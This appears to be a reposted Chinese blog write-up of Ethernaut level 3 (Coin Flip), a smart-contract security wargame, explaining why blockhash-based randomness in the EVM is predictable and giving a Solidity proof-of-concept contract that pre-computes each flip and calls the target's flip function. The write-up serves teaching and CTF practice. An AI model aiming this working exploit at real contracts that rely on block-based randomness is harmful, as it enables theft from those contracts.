当前位置:   article > 正文

Ethernaut 03_ethernaut 题库闯关 #3 — 投掷硬币

ethernaut 题库闯关 #3 — 投掷硬币

题目要求:连续猜出10次抛硬币的结果

题意解析:

本题的关键点在于下面这条语句

显然,本题的考察点在于如何利用EVM中随机数生成的固有缺陷

我们需要明白一点,由于区块链网络中所有节点的共识机制,基于EVM自身构建的伪随机数在一定条件下都是可以预测的(此处不考虑预言机的问题)

那么本题的逻辑就非常清晰了:

如果blockvalue≥FACTOR,则side取true,此时我们的_guess同样应该取true

如果blockvalue < FACTOR,则side取false,此时我们的_guess同样应该取false

连续调用10次flip函数即可过关

下面是本题的POC合约

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.8.0;
  3. import '@openzeppelin/contracts/utils/math/SafeMath.sol';
  4. contract POC {
  5. using SafeMath for uint256;
  6. address public victim;
  7. function setVictim(address victim_) public {
  8. victim = victim_;
  9. }
  10. function flip_attack() public {
  11. uint256 blockValue = uint256(blockhash(block.number.sub(1)));
  12. uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  13. uint256 coinFlip = blockValue.div(FACTOR);
  14. bool guess = coinFlip == 1 ? true : false;
  15. (bool success,) = victim.call(abi.encodeWithSignature("flip(bool)",guess));
  16. require(success==true, "call CoinFlip:flip failed");
  17. }
  18. }

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/article/detail/48901
推荐阅读
相关标签
  

闽ICP备14008679号